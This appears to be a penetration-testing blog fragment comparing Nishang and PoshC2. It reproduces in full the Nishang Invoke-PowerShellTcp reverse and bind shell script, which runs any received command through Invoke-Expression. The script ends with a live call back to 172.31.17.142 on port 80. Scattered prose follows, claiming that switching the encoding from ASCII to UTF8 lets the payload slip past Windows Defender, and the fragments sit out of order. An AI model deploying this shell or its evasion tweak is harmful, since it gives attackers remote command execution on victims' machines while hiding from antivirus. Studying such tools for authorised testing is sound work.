nishang VS PoshC2

function Invoke-PowerShellTcp { <# .SYNOPSIS Nishang script which can be used for Reverse or Bind interactive PowerShell from a target. .DESCRIPTION This script is able to connect to a standard netcat listening on a port when using the -Reverse switch. Also, a standard netcat can connect to this script Bind to a specific port. The script is derived from Powerfun written by Ben Turner & Dave Hardy .PARAMETER IPAddress The IP address to connect to when using the -Reverse switch. .PARAMETER Port The port to connect to when using the -Reverse switch. When using -Bind it is the port on which this script listens. .EXAMPLE PS > Invoke-PowerShellTcp -Reverse -IPAddress 192.168.254.226 -Port 4444 Above shows an example of an interactive PowerShell reverse connect shell. A netcat/powercat listener must be listening on the given IP and port. .EXAMPLE PS > Invoke-PowerShellTcp -Bind -Port 4444 Above shows an example of an interactive PowerShell bind connect shell. Use a netcat/powercat to connect to this port. .EXAMPLE PS > Invoke-PowerShellTcp -Reverse -IPAddress fe80::20c:29ff:fe9d:b983 -Port 4444 Above shows an example of an interactive PowerShell reverse connect shell over IPv6. A netcat/powercat listener must be listening on the given IP and port. .LINK http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.html https://github.com/nettitude/powershell/blob/master/powerfun.ps1 https://github.com/samratashok/nishang #> [CmdletBinding(DefaultParameterSetName="reverse")] Param( [Parameter(Position = 0, Mandatory = $true, ParameterSetName="reverse")] [Parameter(Position = 0, Mandatory = $false, ParameterSetName="bind")] [String] $IPAddress, [Parameter(Position = 1, Mandatory = $true, ParameterSetName="reverse")] [Parameter(Position = 1, Mandatory = $true, ParameterSetName="bind")] [Int] $Port, [Parameter(ParameterSetName="reverse")] [Switch] $Reverse, [Parameter(ParameterSetName="bind")] [Switch] $Bind ) try { #Connect back if the reverse switch is used. if ($Reverse) { $client = New-Object System.Net.Sockets.TCPClient($IPAddress,$Port) } #Bind to the provided port if Bind switch is used. if ($Bind) { $listener = [System.Net.Sockets.TcpListener]$Port $listener.start() $client = $listener.AcceptTcpClient() } $stream = $client.GetStream() [byte[]]$bytes = 0..65535|%{0} #Send back current username and computername $sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n") $stream.Write($sendbytes,0,$sendbytes.Length) #Show an interactive PowerShell prompt $sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>') $stream.Write($sendbytes,0,$sendbytes.Length) while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) { $EncodedText = New-Object -TypeName System.Text.ASCIIEncoding $data = $EncodedText.GetString($bytes,0, $i) try { #Execute the command on the target. $sendback = (Invoke-Expression -Command $data 2>&1 | Out-String ) } catch { Write-Warning "Something went wrong with execution of command on the target." Write-Error $_ } $sendback2 = $sendback + 'PS ' + (Get-Location).Path + '> ' $x = ($error[0] | Out-String) $error.clear() $sendback2 = $sendback2 + $x #Return the results $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2) $stream.Write($sendbyte,0,$sendbyte.Length) $stream.Flush() } $client.Close() if ($listener) { $listener.Stop() } } catch { Write-Warning "Something went wrong! Check if the server is reachable and you are using the correct port." Write-Error $_ } } Invoke-PowerShellTcp -Reverse -IPAddress 172.31.17.142 -Port 80

Save this file https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcpOneLine.ps1

After that I expanded my research and tried a payload from GitHub user samratashok and followed this Guide in which only the text encoding method is altered from ASCII to UTF8. And guess what? It actually worked, Windows Defender does not detect it!

I am going to copy/paste the following nishang Reverse Shell in the newly created file link.

PowerShell has never been used for nefarious purposes. ;-)